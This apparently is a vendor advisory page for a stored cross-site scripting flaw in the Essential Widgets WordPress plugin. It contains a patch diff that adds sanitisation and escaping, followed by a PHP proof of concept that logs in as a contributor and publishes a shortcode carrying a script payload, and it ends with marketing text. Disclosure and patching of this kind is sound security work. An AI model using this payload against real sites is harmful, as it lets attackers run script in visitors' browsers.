-			</p>
-
-			<p>
-				<label>
-					<input type="checkbox" <?php checked( $instance['show_post_count'], true ); ?> name="<?php echo esc_attr( $this->get_field_name( 'show_post_count' ) ); ?>" />
-					<?php esc_html_e( 'Show post count?', 'essential-widgets' ); ?>
-				</label>
-			</p>
-			<?php
-		}
+		<p>
+			<label><?php esc_html_e( 'Before:', 'essential-widgets' ); ?>
+				<input type="text" class="widefat" name="<?php echo esc_attr( $this->get_field_name('before') ); ?>" value="<?php echo esc_attr( $instance['before'] ); ?>" />
+			</label>
+		</p>
+
+		<p>
+			<label><?php esc_html_e( 'After:', 'essential-widgets' ); ?>
+				<input type="text" class="widefat" name="<?php echo esc_attr( $this->get_field_name('after') ); ?>" value="<?php echo esc_attr( $instance['after'] ); ?>" />
+			</label>
+		</p>
+
+		<p>
+			<label>
+				<input type="checkbox" <?php checked( $instance['show_post_count'], true ); ?> name="<?php echo esc_attr( $this->get_field_name('show_post_count') ); ?>" />
+				<?php esc_html_e( 'Show post count?', 'essential-widgets' ); ?>
+			</label>
+		</p>
+		<?php
+	}

-		public function update( $new_instance, $old_instance ) {
-			// Sanitize title.
-			$instance['title'] = sanitize_text_field( $new_instance['title'] );
-
-			// Sanitize key.
-			$instance['post_type'] = sanitize_key( $new_instance['post_type'] );
-
-			// Whitelist options.
-			$type   = array( 'alpha', 'daily', 'monthly', 'postbypost', 'weekly', 'yearly' );
-			$order  = array( 'ASC', 'DESC' );
-			$format = array( 'custom', 'html', 'option' );
-
-			$instance['type']   = in_array( $new_instance['type'], $type ) ? $new_instance['type'] : 'monthly';
-			$instance['order']  = in_array( $new_instance['order'], $order ) ? $new_instance['order'] : 'DESC';
-			$instance['format'] = in_array( $new_instance['format'], $format ) ? $new_instance['format'] : 'html';
-
-			// Integers.
-			$instance['limit'] = intval( $new_instance['limit'] );
-			$instance['limit'] = 0 === $instance['limit'] ? '' : $instance['limit'];
-
-			// Text boxes. Make sure user can use 'unfiltered_html'.
-			$instance['before'] = current_user_can( 'unfiltered_html' ) ? $new_instance['before'] : wp_kses_post( $new_instance['before'] );
-			$instance['after']  = current_user_can( 'unfiltered_html' ) ? $new_instance['after'] : wp_kses_post( $new_instance['after'] );
+	public function update( $new_instance, $old_instance ) {
+		$instance = array();

-			// Checkboxes.
-			$instance['show_post_count'] = isset( $new_instance['show_post_count'] ) ? 1 : 0;
+		$instance['title'] = sanitize_text_field( $new_instance['title'] );
+		$instance['post_type'] = sanitize_key( $new_instance['post_type'] );

-			// Return sanitized options.
-			return $instance;
-		}
+		$allowed_types   = array( 'alpha', 'daily', 'monthly', 'postbypost', 'weekly', 'yearly' );
+		$allowed_orders  = array( 'ASC', 'DESC' );
+		$allowed_formats = array( 'custom', 'html', 'option' );

-		public function widget( $args, $instance ) {
-			// Merge instance with defaults.
-			$instance = wp_parse_args( $instance, $this->defaults );
-
-			// Escape widget wrapper attributes.
-			echo wp_kses_post( $args['before_widget'] );
-
-			// If a title was input by the user, display it safely.
-			if ( ! empty( $instance['title'] ) ) {
-				echo wp_kses_post( $args['before_title'] );
-
-				// Apply filters to title, then escape it for output
-				$title = apply_filters( 'widget_title', $instance['title'], $instance, $this->id_base );
-				echo esc_html( $title );
+		$instance['type']   = in_array( $new_instance['type'], $allowed_types, true ) ? $new_instance['type'] : 'monthly';
+		$instance['order']  = in_array( $new_instance['order'], $allowed_orders, true ) ? $new_instance['order'] : 'DESC';
+		$instance['format'] = in_array( $new_instance['format'], $allowed_formats, true ) ? $new_instance['format'] : 'html';

-				echo wp_kses_post( $args['after_title'] );
-			}
+		$instance['limit'] = intval( $new_instance['limit'] );
+		$instance['limit'] = max( 0, $instance['limit'] ); // ensure non-negative integer
+
+		$instance['before'] = current_user_can( 'unfiltered_html' ) ? $new_instance['before'] : wp_kses_post( $new_instance['before'] );
+		$instance['after']  = current_user_can( 'unfiltered_html' ) ? $new_instance['after'] : wp_kses_post( $new_instance['after'] );

-			// Output the main content of the widget (shortcode output)
-			echo wp_kses_post( $this->shortcode( $instance ) );
+		$instance['show_post_count'] = ! empty( $new_instance['show_post_count'] ) ? 1 : 0;

-			// Close the widget wrapper safely.
-			echo wp_kses_post( $args['after_widget'] );
+		return $instance;
+	}
+
+	public function widget( $args, $instance ) {
+		$instance = wp_parse_args( $instance, $this->defaults );
+
+		echo wp_kses_post( $args['before_widget'] );
+
+		if ( ! empty( $instance['title'] ) ) {
+			echo wp_kses_post( $args['before_title'] );
+			$title = apply_filters( 'widget_title', $instance['title'], $instance, $this->id_base );
+			echo esc_html( $title );
+			echo wp_kses_post( $args['after_title'] );
 		}

-		public function shortcode( $atts ) {
-			// Overwrite the $echo argument and set it to false.
-			$atts['echo'] = false;
-			$class        = '';
+		echo wp_kses_post( $this->shortcode( $instance ) );

-			// Get the archives list.
-			$archives = str_replace( array( "r", "n", "t" ), '', wp_get_archives( $atts ) );
+		echo wp_kses_post( $args['after_widget'] );
+	}

-			$archives = str_replace( '</a> (', '</a> <span>(', $archives );
-			$archives = str_replace( ')', ')</span>', $archives );
-			// return $archives;
+	public function shortcode( $atts ) {
+		$atts['echo'] = false;

-			$dropdown_id = esc_attr( uniqid( 'wp-block-archives-' ) );
+		// Ensure limit is integer and not zero
+		$atts_copy = $atts;
+		$atts_copy['limit'] = intval( $atts_copy['limit'] ?? 0 );
+		if ( $atts_copy['limit'] <= 0 ) {
+			unset( $atts_copy['limit'] ); // prevent SQL error
+		}

-			$ew_archives = '';
+		$atts_copy['post_type'] = sanitize_key( $atts_copy['post_type'] ?? 'post' );

-			// Only show this title in block element and not on widget.
-			if ( isset( $atts['is_block'] ) && true === $atts['is_block'] && !empty( $atts['title'] ) ) {
-				$ew_archives .= '<h2 class="ew-archive-block-title">' . esc_html( $atts['title'] ) . '</h2>';
-			}
+		$archives = str_replace( array("r","n","t"), '', wp_get_archives( $atts_copy ) );
+		$archives = str_replace( '</a> (', '</a> <span>(', $archives );
+		$archives = str_replace( ')', ')</span>', $archives );

-			// If the archives should be shown in a <select> drop-down.
-			if ( 'option' == $atts['format'] ) {
-				$class .= ' wp-block-archives-dropdown';
-
-				switch ( $atts['type'] ) {
-					case 'yearly':
-						// Translators: Dropdown label for yearly archive selection.
-						$label = __( 'Select Year', 'essential-widgets' );
-						break;
-					case 'monthly':
-						// Translators: Dropdown label for monthly archive selection.
-						$label = __( 'Select Month', 'essential-widgets' );
-						break;
-					case 'daily':
-						// Translators: Dropdown label for daily archive selection.
-						$label = __( 'Select Day', 'essential-widgets' );
-						break;
-					case 'weekly':
-						// Translators: Dropdown label for weekly archive selection.
-						$label = __( 'Select Week', 'essential-widgets' );
-						break;
-					default:
-						// Translators: Dropdown label for generic post archive selection.
-						$label = __( 'Select Post', 'essential-widgets' );
-						break;
-				}
+		$dropdown_id = esc_attr( uniqid( 'wp-block-archives-' ) );
+		$ew_archives = '';

-				$label = esc_html( $label );
+		if ( ! empty( $atts['is_block'] ) && ! empty( $atts['title'] ) ) {
+			$ew_archives .= '<h2 class="ew-archive-block-title">' . esc_html( $atts['title'] ) . '</h2>';
+		}

-				$block_content = '<label class="screen-reader-text" for="' . $dropdown_id . '">' . $atts['title'] . '</label>
-				<select id="' . $dropdown_id . '" name="archive-dropdown" onchange="document.location.href=this.options[this.selectedIndex].value;">
-					<option value="">' . $label . '</option>' . $archives . '</select>';
-					// return 'hello';
-					$ew_archives .= sprintf(
-						'<div class="%1$s">%2$s</div>',
-						esc_attr( $class ),
-						$block_content
-					);
+		if ( ! empty( $atts['before'] ) ) {
+			$ew_archives .= wp_kses_post( $atts['before'] );
+		}

-					return $ew_archives;
+		if ( 'option' === $atts['format'] ) {
+			$class = 'wp-block-archives-dropdown';
+			switch ( $atts['type'] ) {
+				case 'yearly': $label = __( 'Select Year', 'essential-widgets' ); break;
+				case 'monthly': $label = __( 'Select Month', 'essential-widgets' ); break;
+				case 'daily': $label = __( 'Select Day', 'essential-widgets' ); break;
+				case 'weekly': $label = __( 'Select Week', 'essential-widgets' ); break;
+				default: $label = __( 'Select Post', 'essential-widgets' ); break;
 			}
+			$label = esc_html( $label );

-			// If the format should be an unordered list.
-			elseif ( 'html' == $atts['format'] ) {
-				$ew_archives .= '<ul class="ew-archives">' . $archives . '</ul><!-- .xoxo .archives -->';
-			}
+			$block_content = '<label class="screen-reader-text" for="' . $dropdown_id . '">' . esc_html( $atts['title'] ) . '</label>
+				<select id="' . $dropdown_id . '" name="archive-dropdown" onchange="document.location.href=this.options[this.selectedIndex].value;">
+					<option value="">' . $label . '</option>' . $archives . '</select>';

-			// All other formats.
-			elseif ( 'custom' == $atts['format'] ) {
-				$ew_archives .= $archives;
-			}
+			$ew_archives .= '<div class="' . esc_attr( $class ) . '">' . wp_kses_post( $block_content ) . '</div>';
+		} elseif ( 'html' === $atts['format'] ) {
+			$ew_archives .= '<ul class="ew-archives">' . $archives . '</ul>';
+		} elseif ( 'custom' === $atts['format'] ) {
+			$ew_archives .= $archives;
+		}

-			return $ew_archives;
+		if ( ! empty( $atts['after'] ) ) {
+			$ew_archives .= wp_kses_post( $atts['after'] );
 		}
-	} // end Archive_Widget class
+
+		return $ew_archives;
+	}
+}
 endif;

 if ( ! function_exists( 'ew_archives_register' ) ) :
-	/**
-	 * Intiate Archive_Widget Class.
-	 *
-	 * @since 1.0.0
-	 */
-	function ew_archives_register() {
-		register_widget( 'EW_Archives' );
-	}
-	add_action( 'widgets_init', 'ew_archives_register' );
+function ew_archives_register() {
+	register_widget( 'EW_Archives' );
+}
+add_action( 'widgets_init', 'ew_archives_register' );
 endif;
--- a/essential-widgets/includes/widgets/class-ew-authors.php
+++ b/essential-widgets/includes/widgets/class-ew-authors.php
@@ -321,34 +321,49 @@
 			echo wp_kses_post( $args['after_widget'] );
 		}

-		public function shortcode($atts)
+		public function shortcode( $atts )
 		{
-			// instance the $echo argument and set it to false.

-			$atts['echo'] = false;
+			$atts = wp_parse_args( $atts, $this->defaults );

-			$ew_author = '';
-
-			// Only show this title in block element and not on widget.
-			if ( isset( $atts['is_block'] ) && true === $atts['is_block'] && !empty( $atts['title'] ) ) {
-				$ew_author .= '<h2 class="ew-author-block-title">' . esc_html( $atts['title'] ) . '</h2>';
-			}
-
-			// Get the authors list.
-			$authors = str_replace(array("r", "n", "t"), '', wp_list_authors($atts));
+			// Normalize arguments
+			$args = array();

-			$authors = str_replace('</a> (', '</a> <span>(', $authors);
-			$authors = str_replace(')', ')</span>', $authors);
+			$args['order']     = in_array( $atts['order'], array( 'ASC', 'DESC' ), true ) ? $atts['order'] : 'ASC';
+			$args['orderby']   = sanitize_key( $atts['orderby'] );
+			$args['number']    = absint( $atts['number'] );
+			$args['include']   = preg_replace( '/[^0-9,]/', '', $atts['include'] );
+			$args['exclude']   = preg_replace( '/[^0-9,]/', '', $atts['exclude'] );
+			$args['html']      = (bool) $atts['html'];
+			$args['echo']      = false;
+			$args['optioncount']   = (bool) $atts['optioncount'];
+			$args['exclude_admin'] = (bool) $atts['exclude_admin'];
+			$args['show_fullname'] = (bool) $atts['show_fullname'];
+			$args['hide_empty']    = (bool) $atts['hide_empty'];
+			$args['feed']          = sanitize_text_field( $atts['feed'] );
+			$args['feed_type']     = sanitize_text_field( $atts['feed_type'] );
+			$args['feed_image']    = esc_url( $atts['feed_image'] );

-			// If 'list' is the style and the output should be HTML, wrap the authors in a <ul>.
-			if ('list' == $atts['style'] && $atts['html'])
-				$ew_author .= '<ul class="authors">' . $authors . '</ul><!-- .xoxo .authors -->';
+			$ew_author = '';

-			// If 'none' is the style and the output should be HTML, wrap the authors in a <p>.
-			elseif ('none' == $atts['style'] && $atts['html'])
-				$ew_author .= '<p class="authors">' . $authors . '</p><!-- .authors -->';
+			// Block-only title
+			if ( isset( $atts['is_block'] ) && true === $atts['is_block'] && ! empty( $atts['title'] ) ) {
+				$ew_author .= '<h2 class="ew-author-block-title">' . esc_html( $atts['title'] ) . '</h2>';
+			}

-			// Display the authors list.
+			// Get authors HTML safely
+			$authors = wp_list_authors( $args );
+			$authors = str_replace( array( "r", "n", "t" ), '', $authors );
+
+			$authors = str_replace( '</a> (', '</a> <span>(', $authors );
+			$authors = str_replace( ')', ')</span>', $authors );
+
+			// Wrap output
+			if ( 'list' === $atts['style'] && $args['html'] ) {
+				$ew_author .= '<ul class="authors">' . wp_kses_post( $authors ) . '</ul>';
+			} elseif ( 'none' === $atts['style'] && $args['html'] ) {
+				$ew_author .= '<p class="authors">' . wp_kses_post( $authors ) . '</p>';
+			}

 			return $ew_author;
 		}
--- a/essential-widgets/includes/widgets/class-ew-pages.php
+++ b/essential-widgets/includes/widgets/class-ew-pages.php
@@ -316,6 +316,8 @@
 		 * Settings to save or bool false to cancel saving
 		 */
 		public function update( $new_instance, $old_instance ) {
+			$instance = $old_instance;
+
 			// Sanitize title.
 			$instance['title'] = sanitize_text_field( $new_instance['title'] );

@@ -341,12 +343,18 @@
 			$instance['link_after']  = current_user_can( 'unfiltered_html' ) ? $new_instance['link_after'] : wp_kses_post( $new_instance['link_after'] );

 			// Integers.
-			$instance['number']   = intval( $new_instance['number'] );
-			$instance['depth']    = absint( $new_instance['depth'] );
-			$instance['child_of'] = absint( $new_instance['child_of'] );
-			$instance['offset']   = absint( $new_instance['offset'] );
+			$instance['number'] 	= absint( $new_instance['number'] );
+			$instance['depth']    	= absint( $new_instance['depth'] );
+			$instance['child_of']	= absint( $new_instance['child_of'] );
+			$instance['offset']		= absint( $new_instance['offset'] );
+
+			// Sanitize text field
+			$instance['include']      = sanitize_text_field( $new_instance['include'] );
+			$instance['exclude']      = sanitize_text_field( $new_instance['exclude'] );
+			$instance['exclude_tree'] = sanitize_text_field( $new_instance['exclude_tree'] );
+			$instance['authors']      = sanitize_text_field( $new_instance['authors'] );

-			// Only allow integers and commas.
+			// Then restrict to numbers & commas
 			$instance['include']      = preg_replace( '/[^0-9,]/', '', $new_instance['include'] );
 			$instance['exclude']      = preg_replace( '/[^0-9,]/', '', $new_instance['exclude'] );
 			$instance['exclude_tree'] = preg_replace( '/[^0-9,]/', '', $new_instance['exclude_tree'] );
@@ -403,9 +411,13 @@
 			}

 			// Output the page list.
-			$ew_pages .= '<ul class="pages">' . str_replace( array( "r", "n", "t" ), '', wp_list_pages( $atts ) ) . '</ul>';
+			$ew_pages .= '<ul class="pages">' . str_replace(
+				array( "r", "n", "t" ),
+				'',
+				wp_list_pages( $atts )
+			) . '</ul>';

-			return $ew_pages;
+			return wp_kses_post( $ew_pages );
 		}
 	}
 endif;
--- a/essential-widgets/includes/widgets/class-ew-posts.php
+++ b/essential-widgets/includes/widgets/class-ew-posts.php
@@ -187,32 +187,43 @@
 		 * Settings to save or bool false to cancel saving
 		 */
 		public function update( $new_instance, $old_instance ) {
-			$instance = $old_instance;
+		    $instance = $old_instance;

-			// Sanitize title.
-			$instance['title'] = sanitize_text_field( $new_instance['title'] );
+		    // Sanitize title.
+		    $instance['title'] = isset( $new_instance['title'] )
+		        ? sanitize_text_field( $new_instance['title'] )
+		        : '';
+
+		    // Sanitize post_type array.
+		    $instance['post_type'] = isset( $new_instance['post_type'] )
+		        ? array_map( 'sanitize_key', (array) $new_instance['post_type'] )
+		        : array( 'post' );
+
+		    // Whitelist order options.
+		    $order = array( 'ASC', 'DESC' );
+		    $instance['order'] = ( isset( $new_instance['order'] ) && in_array( $new_instance['order'], $order, true ) )
+		        ? $new_instance['order']
+		        : 'DESC';
+
+		    // Whitelist orderby options.
+		    $orderby = array( 'author', 'name', 'none', 'type', 'date', 'ID', 'modified', 'parent', 'comment_count', 'menu_order', 'title' );
+		    $instance['orderby'] = ( isset( $new_instance['orderby'] ) && in_array( $new_instance['orderby'], $orderby, true ) )
+		        ? $new_instance['orderby']
+		        : 'date';
+
+		    // Sanitize number input.
+		    $instance['number'] = isset( $new_instance['number'] )
+		        ? intval( $new_instance['number'] )
+		        : 10;
+
+		    // Checkboxes: show_date and show_author.
+		    $instance['show_date']   = !empty( $new_instance['show_date'] ) ? 1 : 0;
+		    $instance['show_author'] = !empty( $new_instance['show_author'] ) ? 1 : 0;

-			// Sanitize key.
-			$instance['post_type'] = array_map( 'sanitize_key', $new_instance['post_type'] );
-
-			// Whitelist options.
-			$order   = array( 'ASC', 'DESC' );
-			$orderby = array( 'author', 'name', 'none', 'type', 'date', 'ID', 'modified', 'parent', 'comment_count', 'menu_order', 'title' );
-
-			$instance['order']   = in_array( $new_instance['order'], $order ) ? $new_instance['order'] : 'DESC';
-			$instance['orderby'] = in_array( $new_instance['orderby'], $orderby ) ? $new_instance['orderby'] : 'date';
-
-			// Integers.
-			$instance['number'] = intval( $new_instance['number'] );
-
-			// Checkboxes.
-			$instance['show_date']   = isset( $new_instance['show_date'] ) ? 1 : 0;
-			$instance['show_author'] = isset( $new_instance['show_author'] ) ? 1 : 0;
-
-			// Return sanitized options.
-			return $instance;
+		    return $instance;
 		}

+
 		/**
 		 * Displays the Widget in the front-end.
 		 *
@@ -290,14 +301,14 @@
 				$loop->the_post();

 				$output .= '<li>';
-				$output .= '<a href=' . get_the_permalink() . '>' . get_the_title() . '</a>';
+				$output .= '<a href=' . esc_url( get_the_permalink() ) . '>' . esc_html( get_the_title() ) . '</a>';

 				if ( $atts['show_author'] ) :
-					$output .= '<span class="post-author"> by ' . get_the_author() . '</span>';
+					$output .= '<span class="post-author"> by ' . esc_html( get_the_author() ) . '</span>';
 				endif;

 				if ( $atts['show_date'] ) :
-					$output .= '<span class="post-date">' . get_the_date() . '</span>';
+					$output .= ' <span class="post-date">' . esc_html( get_the_date() ) . '</span>';
 				endif;
 				$output .= '</li>';

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0867 - Essential Widgets <= 3.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Multiple Shortcodes

<?php

$target_url = 'http://vulnerable-site.com/wp-admin/post-new.php';
$username = 'contributor';
$password = 'password';

// Payload to inject via the 'before' attribute of the ew-archive shortcode
$payload = '<script>alert(document.domain)</script>';
$shortcode = "[ew-archive before='{$payload}']";

// Create a new post with the malicious shortcode
$post_data = array(
    'post_title'   => 'Test Post with XSS',
    'post_content' => $shortcode,
    'post_status'  => 'publish',
    'post_type'    => 'post'
);

// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-site.com/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In'
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Check for login success by looking for dashboard redirect or absence of login error
if (strpos($response, 'dashboard') === false && strpos($response, 'wp-admin') === false) {
    die('Login failed. Check credentials.');
}

// Now create the post using the REST API or admin post handler
// Use the admin-ajax.php endpoint for simplicity if available, or direct POST to post-new.php
// This example uses the standard WordPress admin post creation flow
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);

// Check if post was created successfully
if (strpos($response, 'Post published') !== false || strpos($response, 'post-') !== false) {
    echo "Post created successfully with malicious shortcode. Visit the post to trigger XSS.n";
} else {
    echo "Post creation may have failed. Check permissions or site configuration.n";
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School